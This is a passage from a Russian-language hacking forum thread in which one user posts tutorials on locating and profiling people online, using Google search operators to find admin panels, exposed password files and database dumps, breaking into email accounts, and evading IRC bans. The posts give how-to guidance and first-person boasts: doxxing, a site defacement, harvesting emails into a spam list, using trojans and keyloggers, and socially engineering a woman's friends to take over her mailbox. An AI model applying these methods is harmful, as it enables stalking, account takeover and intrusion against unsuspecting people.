    http://www.photodate.ru - предположим, что у нас есть фотография человека. И очень, просто очень нужно найти ее владельца, или хотя бы данные, откуда эта фотография могла быть спизж... заимствована. Данный сайт призван помочь в этом.

    Поиск электронных адресов доступен по адресу:

    http://www.infospace.com/home/white-pages/email-search

    Различный поиск:

    http://www.addresses.com/ - довольно неплохо справляется. По крайней мере самого себя, и еще 45 меня я нашел. Нужно только правильно искать.


    Человек, гуляя на просторах интернета, на самом деле оставляет о себе уйму информации. Он общается на форуме, он закачивает программы и музыку, он пишет статьи и т.п.

    Первым делом нужно узнать под какими никами он вообще существует в Интернете. Далее по этим никам можно попытаться найти информацию в других страницах Интернета. Ников у человека может быть несколько, и оставляя информацию от каждого из них, он дает нам очень большой простор для действий.

    По каким же критериям можно прилинковывать несколько ников к одному человеку? Ну самое естественное, это когда у двух различных людей с двух разных форумов один, к примеру UIN.

    Ситуация: Однажды мне понадобилось воспользоваться навыками Социальной Инженерии и выдать себя за знакомого некого человека. Я знал, что второго случая мне не представится, и потому нужно досконально изучить интересы и манеры человека, который якобы является моим знакомым. Взяв в качестве начального идентификатора номер ICQ, я отправился на поиски.

    Через минут сорок в моем блокноте было несколько похожих аккаунтов, среди них

    Безумный Макс - постоялец какого-то богом забытого, никем не обновляемого уже лет пять форума, посвященного хип-хопу. Хип-хоп меня не привлекает, но тем не менее по названию групп я определил что расцвет форума пришелся на времена, когда это движение только приходило в нашу страну. То есть довольно давно.

    И AliGment, игрок на какой-то бирже. Брокер, в общем. Мне казалось, что между не было ничего общего, пока я не отправился размышлять на кухню, прихватив сигаретку. Никотин упорядочил мысли, и... меня осенило! Я на правильном пути!

    Ведь Безумный Макс, тот мальчишка, который так верил в хип-хоп не вечно оставался подростком... И этот успевающий полуюноша, полудяденька, специалист в экономическом секторе, акула биржевых торгов он и есть! Дальнейший сбор информации уже не составил труда. Панов М.С. занимал некую должность в частном инвестиционном фонде города Екатеринбурга. На сайте компании можно было узнать и телефон и точное название должности и адрес офиса компании. Хоть в гости прям едь.

    Но такие случаи бывают редко. Чаще Хакеру предстоит анализировать информацию намного скуднее чем имя, фамилия и номер icq. Когда нужно найти одного и того же человека в различных уголках интернета, в ход должно идти все. Даже такие на первый взгляд мелочи как подпись, статус и так далее. Чем оригинальнее личность, тем легче ее найти.

    Если удается выйти на блог пользователя, он может оказать существенное подспорье, даже если не содержит личных данных. Тем не менее по контенту блога можно судить о личностых пристрастиях, интересе, мировозрении человека. А зная его интересы, легче будет вычислить его местообитания.

    Иногда поиск и сбор информации о человеке может занять всего пару минут. Если повезет.

    Ситуация: Мне нужна фотография девушки, о которой я ничего не знаю, кроме ника. И желательно еще какие-нибудь сведения. Знакомая ситуация? :)

    Пройдясь по ру-форумам, я наткнулся на пост, где девушка с искомым ником просила помощи в оформлении дизайна сайта. Сайт был посвящен романтической поэзии современности, и че-то там еще, но меня интересовало не это. Ввев искомый сайт в www.wservice.info я мигом узнал всю интересующую меня информацию, а именно имя, фамилию, номер телефона. С этими данными я пошел в популярнейшую социальную сеть нашей страны, и выудил еще много и много информации.

    Кстати, о социальных сетях.



    Многие воротят от них нос. В целом правильно делают, но все-таки иметь по аккаунту в каждой из них будет очень и очень полезно. Пусть с подставными именами, фамилиями, с несуществующими данными. Все равно! Главное что бы у Вас был доступ к данным, которые предоставляются зарегистрированным участникам.


    Ведь социальная сеть - клондайк информации. Все пользователи открыты для общения, и ради повышения рейтинга, и прочих вещей, готовы рассказать о себе всю превсю информацию. А когда пользователь открыт, его легко найти по всяким whitepages. Например: web.icq.com/whitepages/search

    На последок скажу, что удача играет немаловажную роль, а она сопутствует каждому, кто ее достоит. Под лежачий камень, как говорится, вода не течет. Применяйте эти знания вкупе с Google-Hacking, и у Вас все получится! :)

    ----
    http://phone.rin.ru/ - Российская Информационная Сеть. Множество предприятий, учреждений, информации в целом.
    http://www.anywho.com/wp.html - поиск людей в USA.
    www.telefonbuch.de - телефонный справочник германии.
    http://www.nomer.org/ - неплохой сайт абонентов России.
     
    27 май 2016 #4
    Hrum и Boltik нравится это.
  5. Golden K. Заблокирован

    Golden K.
    Статус:
    Вне сети
    Сообщения:
    541
    Симпатии:
    140
    Регистрация:
    04.05.16
    Как правило каждый день, и в сущности не по одному разу, нам приходится сталкиваться с необходимостью использовать средства поисковых систем, для получения какой-либо информации. А задумывался ли ты, что именно с помощью поиска во многих случаях ломаются сайты и форумы? То, что владелец портала хочет скрыть от посторонних глаз, зачастую остается открыто пронырливому поисковому боту. А уж его данные становятся достоянием общественности. Как взломать сайт с помощью google.com, и насколько это реально, мы сейчас и рассмотрим подробнее... На теории и на практике.

    За google.com уже давно закрепилось звание истинного хакерского поисковика. И дело не в том, что сам поиск в нем очень хорошо реализован, хотя этот факт никто не оспаривает. Часто ли ты заглядываешь по ссылке, расположенной рядом с формой ввода запроса: "Advanced Search", или в русской вариации "Расширенный поиск"? Если нет - самое время этим заняться. Или, по крайней мере, просто изучить язык запросов google.

    Ты не поверишь, но, в свое время, сайт салона связи "Элефант" (http://elefant21.ru/) был "взломан" мной с помощью обычного поискового запроса:

    allintitle:"Администраторская часть" site:ru


    Директива site указывает в данном случае, что искать нужно в русской доменной зоне. allintitle позволит выудить только те страницы, в заголовке которых находится искомое словосочетание. В итоге мы получим в самых первых сайденных страницах путь к админке сайта - http://elefant21.ru/admin/items/1909.html. Сейчас ты уже можешь наблюдать там надпись "Нет доступа, user it not logged" и форму ввода пароля и логина. Это сейчас. Тогда же этого не было, и вся защита была построена в расчете на то, что пользователь просто напросто не найдет входа в админку, ведь кроме администраторов о ней никто не знает. Кроме, как оказалось, гугла.

    В итоге, через десять минут исходный код был подправлен, на сайт был залит логотип Уруру, прописанны ссылки на него, и сайт украшала гордая надпись "Hacked by Уруру-Team. Kiss you, Bill". Ничего сверхестественного! Такие ошибки часто встречаются на самописных движках. А то, что этот движок был самописным, легко понять, пропарсив исходный код страницы на предмет именных переменных характерных какому-либо движку, или даже просто метатегу generator.

    Бывает, что администраторы пытаются противостоять этому, запретив индексирование какой-либо части сайта, путем размещения соответсвующего правила в файл robots.txt. Но опять же... Хакер он ведь не робот. А этот файл всегда доступен для чтения (иначе как его прикажете читать поисковикам). И расположен он обычно в самом корне сайта, например:

    http://hack-academy.ru/robots.txt


    Глянув, какие каталоги запрещены к индексации, интерес к ним может только разгорется, вдруг там приватные сплоиты раздают нахаляву? А запрет на сканирование поисковиками, совсем не распространяется на Хакера. Это совсем не одно и то же, что и физический запрет на чтение.

    Кстати, заменив "Администраторская часть" на "Секретная зона" иногда удавалось получить доступ к частной порно коллекции. Да-да, из тех, за которые просят отправить платную sms на такой-то номер. Но мы отвлеклись... =)

    Например, ты заходишь в Hack-News нашего портала и видишь надпись, что найдена уязвимость в таком-то паблик скрипте, например CMS или форуме. И указанна пошаговая последовательность действий, которые приведут к полному контролю сайта. Теперь осталось найти все сайты, на которых стоит эта версия движка, простым запросом, например, если под ударом оказался форум типа vBulletin 3.7.3, его и вбиваем в поисковый запрос:

    Powered by vBulletin 3.7.3


    Еще желательно установить в опциях вывод не 10 результатов на страницу, а например 50. Так будет проще.

    Также гугл может выдавать в ответ на запрос файлы одного конкретного типа. Например ты, найдя уязвимость в популярном движке для Интернет-Магазинов, а именно в скрипте покупки товара (пусть это будет getitem.php), где не фильтруется какой либо параметр, допустим id выбранного товара (itemid), можешь составить запрос типа:

    filetype:php inurl:itemid


    И найти все Интернет-магазины, юзающие данный скрипт. Или, зная, что некая программа (например софтина супер секретного интернет-банка) хранит зашифрованные или не очень пароли в файле pswd.xdh. Если к такому файлу кто-то непреднамеренно, допустим по неосторожности, открыл доступ, то запросом:

    filetype:xdh inurl:pswd


    мы сможем их найти. Прочитать. Расшифровать/Сбрутить пароль... И наслаждаться победой.

    Пример, когда открыт для чтения каталог, содержащий n-ое количество файлов. Такую страницу веб-сервер помечает жирной надписью в самом верху "Index of _имя каталога_". Составив запрос "Index.of /passwords", к примеру, у нас есть призрачный шанс посмотреть директорию с именем "passwords" какого либо ресурса. В папке с таким вкусным именем вполне может находится не менее сладкий контент. В запросе между Index и of стоит точка. Это общепринятое обозначение пробела в гугле. Из той же области очень заманчиво выглядит запрос:

    Index.of /admin site:ru


    Разумеется директивы ru может и не быть. Просто в русскоязычных сайтах тебе, наверное будет удобней копаться. Но если проблем с английским языком нету - смело выбрасывай ее. Тогда ассортимент найденых сайтов увеличится в тысячи раз!

    Базы данных тоже часто доступны для чтения. Без шуток! Вот например запрос:

    filetype:sql inurl:pass


    Среди прочих ссылок находим: http://img.downbt.com/pass.sql. Открываем и оп-па!

    Перед нами дамп базы данных с красивым именем "password". И тут же структура таблицы free_users:

    free_user (
    id int(10) NOT NULL auto_increment,
    username varchar(15) NOT NULL default '',
    pwd varchar(32) NOT NULL default '',
    email varchar(60) NOT NULL default '',
    q varchar(10) default '0',
    a varchar(50) default NULL,
    group_id varchar(50) default '1',
    admin_g smallint(4) default '0',
    PRIMARY KEY (id),
    KEY username (username),
    KEY email (email)
    ) TYPE=MyISAM;


    Затем идет множество запросов "INSERT INTO free_user", которые и заполняют объявленные поля таблицы различными данными.

    Кстати, данные из полей "KEY email (email)" я уже добавил в персональную спам базу. Авось и пригодится. =) Интересно, не правда ли? И это я далеко, в общем-то, не лазил... Все "вкусные" запросы не перечислишь. Да и варьируются они в общем-то от твоих нужд и потребностей. В общем, потренируйся, навык пригодится.
     
    27 май 2016 #5
    Hrum нравится это.
  6. Golden K. Заблокирован

    Golden K.
    Статус:
    Вне сети
    Сообщения:
    541
    Симпатии:
    140
    Регистрация:
    04.05.16
    Очень часто ребята забывают пароли от своих почтовых ящиков, и кричат на всех хакерских сайтах и форумах: "Как взломать e-mail"? И добрые хакеры, желая помочь бедным склерозникам, бывает и помогают. Советы-то они бесплатные...

    В этой статье будут рассмотрены основные способы взлома почтовых аккаунтов.


    Вспоминаем пароль:

    Очень часто ответ на секретный вопрос, который задается при попытке восстановить пароль, можно подобрать. Ну ведь правда, ей-богу такие контрольные вопросы иногда устанавливают. Например тот же "Кличка моей собаки". Все! Автоматически все друзья и знакомые могут зайти в этот ящик. А вопросы типа "Любимое блюдо" или "Любимая песня" легко можно узнать после пары часиков общения с жертвой. В общем, если нужно взломать мыло - первым делом пробуем заполнить форму восстановления пароля. Как знать, может в данном случае это будет самый легкий способ.

    Используем троян:

    Существуют множество троянов, которые могут утянуть пароль на е-мэйл с компьютера жертвы. Это могут быть как запомненные браузером формы, так и записи в Outlook Express, или другом почтовике. Из троянов самый доступный (но не самый эффективный) для новичка будет pinch 3. Его настройку и использование я описал в статье Как настроить пичн? Мануал по настройке трояна pinch.. На этом останавливаться не будем.

    Устанавливаем кейлоггер (дополнение к "Испольуем троян"):

    KeyLogger - это клавиатурный шпион. Он сидит незаметно себе в системе и тихонько пишет все нажатия клавиш в файл. Особо умные кейлоггеры еще и опознают, в каких окнах человек печатает сообщение. Его отличие от стандартных троянов в том (почему я вывел в отедельный заголовок), что тут мгновенного эффекта просто не будет. Вдруг человек захочет проверить свою почту только через неделю. Это же сколько информации мусорной кейлоггер запишет в файл перед тем как мы его прочитаем!

    BruteForce:

    Что в переводе означает - грубая сила. Для этого нам понадобится программа "WWWHack" или любая другая. Ищи по ключевым словам "Брут+e-mail". Что делает брутфорс? Да ничего сверхестественного. Он просто берет пароли один за одним из специально заранее сгенерированного листка, и проверяет - а не подойдет ли? Что бы сервер не забанил IP (после например пятой попытки), используются транзитные прокси сервера (Что такое прокси узнай в статьеАнонимность в сети). Что бы не генерировать листы паролей самостоятельно, хакеры давно уже придумали и составили множество листов паролей. Языковых, Тематических, Общих. Разных, в общем. Ведь очень часто пользователи придумывают пароль ассоциативно с чем либо связанный. За листами паролей обращайся в раздел Инструменты Хакера ( Листы Паролей ).

    Прямая атака:

    Неет... Это не с битой в темном переулке. С помощью различных методов атак (например XSS), можно получить в распоряжение куки пользователя. Обычно, куки не хранят пароль в чистом виде. Но тем не менее, импортировав их в свой браузер, можно продолжить сессию на сайте вместо жертвы, без дополнительной идентификации и авторизации.

    Атака на сервис:

    Это, наверное, наиболее сложный, но так сказать самый "Хакерский" способ. Смысл его заключается в том, что мы, используя поиск, находим и ндентифицируем жертву на разных форумах, сайтах, чатах. И уже начинаем проверять эти сервисы на уязвимость. Ведь получив базу данных в свое распоряжение, мы можем отыскать и пароль нужного человека. Зачастую пароли для различных служб пользователь вводит одинаковые.

    Ну а приемы социальной инженерии воистину безграничны. Социальная Инженерия вообще штука хорошая. Однажды, году в 2005-м, я тесно общался с одной девушкой из Питера под непонятным ником hashira выходит тут без проблем ести возможность скачать бесплатно vkmusic . Уж не помню, чем она меня обворожила (может в TCP/IP канал мой подсыпала чего:)), но когда она пропала на неделю, я отправился на поиски. Провев усиленный штурм форумов, сайтов, социальных сетей, я узнал ее почтовый ящик, и то, что на этом сервере есть возможность ввода номера телефона в личную инфу. Первым делом я решил сломать ящик (только из честных побуждений). Так как брутить было лениво, я пошел в службу восстановления пароля. Там мне задали вопрос "Мое прозвище в школе" (Тогда она уже заканчивала школу)... ну чтож. Это не сложно. Достаточно войти в доверие к кому-нибудь из ее знакомых и выудить эту инфу. Есть вариант выудить ее у нее самой, но не в моем случае. Через одну из популярнейших социальных сетей я вышел на ее знакомых.

    Узнать - школьные это знакомые или нет, мне удалось только пообщавшись с ними "воочую". Так я вычеркнул половину из них Лес мотовуна и курорты истрии. . Но тем не менее, спустя десять минут я уже болтал с несколькими ее друзьями через подставной номер аськи. "Честно" представившись ее знакомым, который просто хотел поинтересоваться, куда же она пропала, я шаг за шагом подбирался к школьной теме. Результат не заставил себя ждать, через некоторый промежуток времени я уже вбивал ответ на контрольный вопрос. И "копировал"-"вставлял" номер телефона.

    Так же, для вычисления круга знакомых жертвы, можно поробовать взломать номер ICQ (Атака на ICQ). По названиям групп и по личной информации контактов в списке можно составить довольно сносный портрет человека.

    Но возвращаясь к моему рассказу... В общем, я не помню дословно, что она мне сказала по телефону, но с тех пор мы с ней не общались:). Но наплевать - для меня тогда каждая удавшаяся атака была просто праздником, и я был так горд собой, что забыл - на том сервере после того как правильно ответишь на вопрос - предлагают ввести новый пароль, который в дальнейшем будет использоваться для процесса авторизации.

    К чему я рассказал эту историю? Ведь, по сути, тут никакого метода взлома не применялось. Вот именно! Все бывает гораздо проще. Не нужно выстраивать хитроумные планы и засылать троянских коней пачками. Идите по пути наименьшего сопротивления. Ведь правда, путей и вариантов добычи секретной и конфиденциальной информации настолько много... Что мне кажется никакое математическое множество не способно в себя их вобрать. Надеюсь, что данное руководство хоть чем-нибудь вам поможет. Удачи!


    P.S: Я не упомянул такой важный способ как атака на сам почтовый сервер. Я не забыл, нет. Вот в чем он заключается. Хакер пытается его атаковать, только предварительно изучив программное обеспеченье которое на нем инсталлированно. Сделать это можно по баннерам (приветствиям) которые различные сетевые приложения отсылают клиенту при логине.

    Например, нам надо узнать версию FTP сервера на удаленной машине. Используя графический FTP клиент нам это узнать вряд ли удасться. А вот с помощью консоли - пожалуйста:

    fen@Sea-System:/$ ftp
    ftp> open hack-academy.ru
    Connected to hack-academy.ru.
    220 hack-academy.ru FTP server (Version 6.00LS) ready.
    Name (hack-academy.ru:fen): fen
    331 Password required for fen.
    Password:
    230 User fen logged in.
    Remote system type is UNIX.
    Using binary mode to transfer files.


    Жирным шрифтом я выделил как раз версию клиента, которую я получил от фтп-сервера в приветствии! Еще даже до авторизации... Зная версию какого-нибудь ПО, я ищу к нему эксплоит. Или говоря по другому - программу, которая используя уязвимость в данной программе позволяет... Ну... например выполнить произвольную комманду от имени данного демона. Или вовсе повысить привелегии. А ошибки в программах находят каждый день! И в ближайшем будущем тенденция не изменится...

    Длинный какой-то подскриптум у меня вышел, угу. :)
     
    27 май 2016 #6
    Hrum и Скриптик2016 нравится это.
  7. Golden K. Заблокирован

    Golden K.
    Статус:
    Вне сети
    Сообщения:
    541
    Симпатии:
    140
    Регистрация:
    04.05.16
    Введение.
    Для новичков, не знающих, забывших и просто любопытных.
    И вот Вы в IRC. Это такое же место жительства/пребывания как и все остальное. Как и везде у Вас есть какие-то свои данные. Рассмотрим, какими данными Вы как пользователь сети обладаете:
    1) При вводе команды /whois Nick , можно увидеть следующее -
    [06:11:32] * Nick is ~ident@host* real name
    [06:11:32] * Nick using irc.nnov.net, Nizhny Novgorod (TTK-NN)
    [06:11:32] * Nick has been idle 54secs, signed on 56secs ago
    [06:11:32] * Nick End of /WHOIS list.
    где Nick (ник) - Ваш ник, произвеще, название;
    ident (идент) - Ваш идент, что такое идент можно почитать http://ru.wikipedia.org/wiki/Ident ;
    host (хост) - Ваш хост, подробнее что такое хост можно почитать тут http://ru.wikipedia.org/wiki/Host ;
    real name - тут подразумевается наличие Вашего реального (мирского имени), однако многие это упускают и вписывают сюда все что радует их глаз и правильно делают =)
    2) Помимо явно видимых данных, выше перечисленных, у Вас еще есть и данные которые показываются на запросы /ctcp . Это ping (пинг), version (версия клиента), time (время), finger (фингер). Они, как правило, по умолчанию имеются в клиенте, но и можно посредствам несложных действий, выставлять свои. Обычно иркоператоры не смотрят эти данные, но при каких-то серьезных наказаниях, вполне вероятно, поэтому эти данные при обходе в некоторых случая необходимо учитывать.
    3) Также любой уважающий себя пользователь, прибывающий в сети какое-то время имеет зарегистрированный ник, прилинкованные к нему ники, зарегистрированные каналы. Следует помнить, что при регистрации ника Вы указываете какой либо email адрес, т.е. этот адрес будут видеть иркоператоры, а также им будет доступен список ников зарегистрированных на этот адрес. К тому же, они будут видеть и список приликнованных ников к какому либо основному нику, правда эта функция ограничена привелегиями на сервисах (насколько мне известно, к этому имеют доступ с привелегией на сервисах от Services Oper, подробнее об этом http://forum.hack-academy.ru/showthread.php?t=35 ).
    Подведем итог. Вы имеете в IRC данные: ник, идент, хост, зарегистрированный ник, линкованные ники, версию клиента, время, email адрес etc. Естественно, в идеале (идеал - когда Вас не смогут найти/вычислить etc) нужно менять все приведенные выше данные. Это делается либо вручную либо по средствам скриптов как для IRC-клиента так и различного вида war bot'ов.

    Основная часть.
    Есть у меня данные и что? Как использовать в примерах и пояснениях.

    Синтаксис akill'ов/pakill'ов (K), kline'ов, armod'ов (R), E:line - исключений (E) имеют следующий вид:
    akill/kline:
    -server_с_которого_Вы_сидите:&ISERV- K:ident@host:nick_ircop'a (причина):nick::дата_окончания
    pakill:
    -server_с_которого_Вы_сидите:&ISERV- K:ident@host:nick_ircop'a (причина):*::permanent
    armode:
    -server_с_которого_Вы_сидите:&ISERV- R:ident@host:nick_ircop'a (причина):nick::дата_окончания
    E:line:
    -server_с_которого_Вы_сидите:&ISERV- E:ident@host:nick_ircop'a (причина):nick::дата_окончания
    где здесь и далее ident - идент пользователя, host - хост пользователя, nick - ник пользователя, nick_ircop - ник IRC Operator'а.

    Т.е. наказание может поставиться по всем трем данным сразу (ник, идент, хост) или по одному из данных (чаще всего хост или ник) или в каком либо сочетании данных (ник-идент, идент-хост, ник-хост). Если поставлено по нику, то обойти не стоит труда, просто сменить ник в настройках клиента и вперед. Если поставлено наказание по ident'у, то тоже самое - обойти не стоит труда: изменяем идент в настройках клиента и вперед Послушный Lowrance эхолот дайвингисту для моря . В принципе, имхо, если стоит по хосту, то и в этом случае все довольно просто, к счастью, анонимных проксей чертовая туча =). Ну а если поставили в совокупности по всем трем данным или в сочетании (например, ник-хост, ник-идент, идент-хост), то значит придется менять все данные или их совокупность.
    Если известна маска поставленного наказания, то обойти не стоит труда. Касательно сети RusNet она может быть известна если Вы или Ваш бот-логгер постоянно присутствуете на &iserv (правда это не может длиться вечно ибо рано или поздно доступ со всех серверов на &iserv будет закрыт), подробнее что есть этот &iserv можно прочитать тут - http://forum.hack-academy.ru/showthread.php?p=167#post167 . В противном случае Вам придется менять все свои данные при обходе, т.е. грубо говоря, угадывать. Сделать это довольно просто. Ник и идент легко меняется в настройках любого клиента, хост можно использовать либо бнц либо прокси, которых к слову существует целая куча. Если Вас "убили", то не стоит второй раз заходить с теми же данными. Вы должны изменить все свои данные, включая реал неим, иначе вычислить Вас не составить труда (все произойдет за секунду) и отправить обратно в оффлайн.
    Наглядные примеры:
    1. [19:13:49] -irc.alfa-com.ru:&ISERV- K:*gadochka@88.85.*:Galadriel (No warbots.):*::Thu Nov 26 23:13:42 2009
    [18:24:37] -irc.alfa-com.ru:&ISERV- K:*dhkd@89.250.20.2:AzriMan (You are banned, Читайте сообщение прошлого kill.):*::Thu Nov 20 22:24:32 2008
    В данном случае, акил поставлен по маске вида ident@часть_host'а/host. Его легко обойти. К слову идент очень просто меняется в настройках любого клиента, например, в mIRC чтобы сменить идент нужно ввести /emailaddr адрес_почты (пример /emailaddr menqu@mail.com) и затем набрать /server ( адрес не обязательно должен быть настоящим, оно никому не нужно ) либо ту же самую процедуру можно проделать в настроках mIRC - набрать /quit ( если вы подключены к сети в данный момент ), нажать alt+O -> Connect (Подключение) -> Email Address (E-mail) вписать желаемый идент ( адрес почты) и уверенно жмякнуть кнопку Ok.

    2. [17:07:45] -irc.alfa-com.ru:&ISERV- K:*@120.50.180.173:Stream (You are banned, Open proxy/socks.):*::Sat Nov 22 21:07:40 2008
    [01:24:10] -irc.alfa-com.ru:&ISERV- K:*@err.cylab.cmu.edu:Galadriel (You are banned, Брысь):*::Fri Nov 28 05:24:08 2008
    [01:31:58] -irc.alfa-com.ru:&ISERV- K:*@189.1*:Kis (Trojaner Netz. Всех, кого задело случайно - мера временная.):*::Thu Nov 6 06:31:45 2008
    Тут акил поставлен по маске вида *@host, т.е. просто на хост пользователя. В таком случае Вам следует сменить хост, путем например, смены прокси или использовать хост bnc (бнц). Для тех, кто вдруг не знает: bnc (от bouncer) - irc-прокси, программа, висящая на каком-то сервере, и выступающая посредником при коннекте к ирк, при этом у Вас будет не собственный хост, а хост бнц. Это что-то типо автоответчика - Ваш ник висит 24 часа в сутки и сохраняет приватные сообщения.

    3. [17:59:48] -irc.seb.org.ua:&ISERV- K:*@*:Galadriel (We don't need these c001 h4ck3rz [30]):Х4::Sun Sep 7 02:01:06 2008
    Наказание выставлено по нику Х4. Тоже самое обойти наказание не стоит труда, сменить ник и "попутного ветра".

    4. [17:53:34] -irc.seb.org.ua:&ISERV- K:*@*:Galadriel (Fake services.):NickServ::permanent
    [14:57:33] -irc.alfa-com.ru:&ISERV- K:*@*:Galadriel (Good bye):KyzeN_74::permanent
    В данном случае выставлены пакилы по никам. Такие ники уже нельзя будет использовать никогда. Обходить также: сменой ника. Ко всему прочему если Вы не нарушитель вовсе никакой и смените, находясь в сети, на подобный "наказанный" ник, то Вас кильнет с той же причиной и следствием, как будто Вы тот самый нарушитель. Это можно использовать в каких-то своих целях, например один из вариантов использования, представится "божим одуванчиком" и попросить какое либо исключение для Вас.

    5. [21:11:26] -irc.alfa-com.ru:&ISERV- K:*@86.106.34.*:Galadriel (No trojans):*::permanent
    Обычный акил, только перманентный по хосту, обходится как сказано чуть выше.

    6. [05:07:15] -irc.seb.org.ua:&ISERV- K:*@chanserv.info:Galadriel (Bad hostname):*::permanent
    А тут стоит пакил на хост бнц, кем-то зарегистрированный. Это уже более интересный случай для обхода наказания. Думаю, всем известно,что обладая доменом первого уровня, можно на его основе вписывать какие угодно домены последующих уровней. Например, в данной ситуации можно повесить на заданный IP хост что-нибудь по типу slovo.chanserv.info, также можно сменить IP путем покупки другова, а от прежнего отказаться. Немного обязывающие процедуры, но, imho, чрезвычайно полезны тем, кто имеет свое бнц с хвостигами.

    7. [17:50:34] -irc.seb.org.ua:&ISERV- R:*@ip-10-49-116-103.is74.loc:Gnomus (перешли письмо счастья еще 10ти людям и получи акилл на 3 дня):*::Sat Mar 22 12:50:27 2008
    [23:16:57] -irc.alfa-com.ru:&ISERV- R:*5c2fa9??@*:Kis (ban override, armode override try, XAB):*::Sun Nov 30 03:16:51 2008
    [22:39:54] -irc.alfa-com.ru:&ISERV- R:*bj@217.118.83.1:Kis (Флуд каналов информацией, имеющей статус конфединциальной.):*::Sun Nov 16 02:54:49 2008
    [23:07:20] -irc.seb.org.ua:&ISERV- R:*muxal22@*:Kis (Простой способ поиметь проблемы. Спам запрещен.):*::Sun Aug 31 19:08:43 2008
    [03:36:18] -irc.seb.org.ua:&ISERV- R:*@*:Kis_ (Spam):awp12345::Fri Feb 8 01:37:12 2008
    Поставленные армоды на маски, идею их обхода я уже описало выше.

    А теперь приведем пример как можно использовать E:line (исключения из наказаний) поставленные тому или иному пользователю/группе пользователей.
    8. [13:57:22] -irc.seb.org.ua:&ISERV- E:pavlinho@*:Gnomus (Excluded from autokills, akill on *cpe.net.cable.rogers.com):*::Sun Mar 2 08:57:08 2008
    Исключение поставлено на идент пользователя. Если Вам стало известно такое исключение, а Ваш хост находится в акиле, то Вы просто меняете идент и вперед, Вы в сети, несмотря на то, что хост в акиле.

    9. [14:16:23] -irc.alfa-com.ru:&ISERV- E:*@*:alk (Excluded from autokills, for Лёха):mon1k_::Fri Nov 14 18:16:23 2008
    Исключение выставлено по нику. Это можно использовать, но ненадолго и если пользователь с этим ником не в сети (если в сети, оно не даст сменить на такой ник). У Вас будет 20-60 секунд примерно, после захода в сеть, для того чтобы что-то успеть сделать. Практика показывает, что для мелкой пакости этого достаточно. Порою, иркоператоры неграмотно ставят исключения или юзеры просящие эти исключения не умеют пользоваться сервисами сети, а конкретно, NickServ. Например, если скажем в данной ситуации было бы поставлено исключения вида *mon1k_* или *mon1k_ или mon1k_*, то воспользоваться этим было бы еще проще: зайти/сменить ник на, скажем, mon1k_|кушаю/первый_mon1k_/ лучший_mon1k_забияка и можно продолжать начатое =).

    10. [20:44:24] -irc.alfa-com.ru:&ISERV- E:*@*.is74.ru:Galadriel (Good user):Furik::Sat Nov 29 00:44:15 2008
    [12:44:16] -irc.alfa-com.ru:&ISERV- E:*@ext-gw.wellcom.tomsk.ru:Galadriel (Good user):D1sp`etcher::Fri May 8 05:44:12 2009
    [19:09:52] -irc.alfa-com.ru:&ISERV- E:*@94.51.0.0/19:Galadriel (Good user.):Katani::Thu Dec 18 23:09:46 2008
    Почти тоже самое что указано в пункте 9, с той лишь разницей что помимо ника, исключение выставлено еще и на часть хоста/хост. В данном случае, это уже могут использовать только пользователи той или иной подсети (имеющие общюю эту часть хоста/хост), незабыв про ник, естественно..
    Заключение.
    В качестве напутствия =)
    1) Лучше всего иметь несколько заранее зарегистрированных ников в сети, естественно, они должны быть зарегистрированные и когда либо использоваться с разных данных (ник, идент, хост, реал неим, электронная почта). Ибо ирк операторы могут посмотреть список, например, всех ников зарегистрированных на тот или иной email. Если Вам дорог какой либо канал или даже каналы, Вы заранее должны прописать там эти ники в список доступа /chanserv access #channel add nick status , назначить наследников и etc.
    2) При обходе Вы не должны сидеть только на тех каналах, на которых Вы обычно сидите. Зайдите еще на пару тройку абсолютно левых каналов, по тематике не связанные совсем с Вашим прошлым прибыванием. Не забывайте, что ирк операторы видять в Вашем /whois nick ВСЕ каналы с любыми режимами на них и могут смотреть кто присутствует в канале (who #channel) не заходя в канал.
    3) Прочитать пост http://forum.hack-academy.ru/showthread.php?p=167#post167 и понять, а главное осознать, что IRC Operator'ы ВСЁ видят: входы/выходы пользователей, обращения к сервисам сети, смену ников, каналы с режимом секретности +s, и т.д. и т.п. И действовать по обстоятельствам. Последующие конекты после наказаний, не должны быть похожие на предыдущие.
     
    27 май 2016 #7
    Hrum нравится это.
  8. cR0NuS Любитель Мороженка^_^

    cR0NuS
    Статус:
    Вне сети
    Сообщения:
    945
    Симпатии:
    187
    Регистрация:
    03.05.16
    Объеденяй всё под один пост!!!
     
    27 май 2016 #8
  9. Golden K. Заблокирован

    Golden K.
    Статус:
    Вне сети
    Сообщения:
    541
    Симпатии:
    140
    Регистрация:
    04.05.16
    пытался, вылезла табличка тип 20000 символов в одном сообщении нельзя
     
    27 май 2016 #9
    Hrum нравится это.
  10. Requeste Заблокирован

    Requeste
    Статус:
    Вне сети
    Сообщения:
    1.425
    Симпатии:
    336
    Регистрация:
    24.05.16
    Много букав.
     
    27 май 2016 #10
  11. Скриптик2016 Заблокирован

    Скриптик2016
    Статус:
    Вне сети
    Сообщения:
    94
    Симпатии:
    102
    Регистрация:
    22.05.16
    Я уже задумывался об том всем и читал) и самы по мне оптимальный и интересный вариант социальная инженерия)
    Так как с помощью нее только что ты хотел можно узнать но и не что новое и интересное)
     
    27 май 2016 #11
  12. Golden K. Заблокирован

    Golden K.
    Статус:
    Вне сети
    Сообщения:
    541
    Симпатии:
    140
    Регистрация:
    04.05.16
    согласен, но для людей которые не совсем понимают за чем нужна соц. инженерия все уроки по ней будут трудно понимаемыми потому я делаю что-то более понятное и лёгкое, но всё равно спасибо за то что оставили своё мнение , мне приятно !
     
    27 май 2016 #12
    Hrum нравится это.
  13. Golden K. Заблокирован

    Golden K.
    Статус:
    Вне сети
    Сообщения:
    541
    Симпатии:
    140
    Регистрация:
    04.05.16
    аххахахаха, ну да бывает, но для того кто этим интересуется это не помеха )
     
    27 май 2016 #13
    Devic нравится это.
  14. Requeste Заблокирован

    Requeste
    Статус:
    Вне сети
    Сообщения:
    1.425
    Симпатии:
    336
    Регистрация:
    24.05.16
    В любом случае старания оправданы
     
    27 май 2016 #14
  15. Golden K. Заблокирован

    Golden K.
    Статус:
    Вне сети
    Сообщения:
    541
    Симпатии:
    140
    Регистрация:
    04.05.16
    благодарен вам за оценку ! я польщён .
     
    27 май 2016 #15
    Hrum и Devic нравится это.
  16. Requeste Заблокирован

    Requeste
    Статус:
    Вне сети
    Сообщения:
    1.425
    Симпатии:
    336
    Регистрация:
    24.05.16
    Если не так сложно,оцените мои темы под спойлером (там их 2).
    Буду рад.
     
    27 май 2016 #16
  17. Golden K. Заблокирован

    Golden K.
    Статус:
    Вне сети
    Сообщения:
    541
    Симпатии:
    140
    Регистрация:
